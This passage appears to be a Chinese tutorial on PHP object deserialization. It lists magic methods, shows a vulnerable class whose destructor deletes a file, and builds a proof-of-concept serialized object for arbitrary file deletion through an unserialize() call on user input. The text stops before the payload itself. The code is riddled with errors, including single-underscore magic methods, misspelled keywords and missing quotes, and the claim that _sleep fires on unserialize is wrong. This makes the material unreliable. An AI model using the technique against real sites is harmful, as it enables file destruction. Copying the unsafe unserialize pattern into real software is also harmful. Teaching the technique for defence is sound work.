1、php常见魔术函数
_construct() //当一个对象创建时被调用
_destruct() //对象销毁时触发
_wakeup() //使用unseriaize时触发
_sleep() //使用unserialize触发
_toSring() //把类当作字符串使用时触发
_get() //用于从不可访问的数据中读出数据
_set() //用于将数据写入不可访问的属性
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
_unset() //在不可访问的属性上使用unset()时触发
_invoke() //当脚本尝试将对象调用为函数时触发
2、实例(_destruct())
这是test5中代码
<?php
/**
*删除文件
*/
class delete
{
pulic $filename = 'error'
function _destruct()
{
echo $this->fiename ."was deleted<br />;
unlink(dirname(_FILE_).'/'.$this->filename);
}
}
?>
从代码中分析delete类中定义_destruct()函数,该函数中会执行删除文件的操作。如果我们想利用该函数来执行任意文件删除,则需要寻找一个可控的unseralize()函数
然后在test6.php中可以看到包含test5.php
<?php
include 'test5.php
class person
{
public $name =' ';
public $age = 0;
publuc funtion Information()
{
echo 'persion: '.$this->name. 'is' . $this->age . ' years old .<br />;
}
}
$per = unserialize($_GET['per_serialized']);
?>
可以看见最后一行
$per = unserialize($_GET['per_serialized']);test
per_serialize是我们可以控制的
如果我们知道在该目录下有一个1.txt文件,如果我们想删除这个文件,则可以构造如下poc
<?php
class delete
{
public $filename = 'error';
}
$test = new delete();
$test -> filename = '1.txt';
echo serialize($test);
?>
可以得到我们的payload: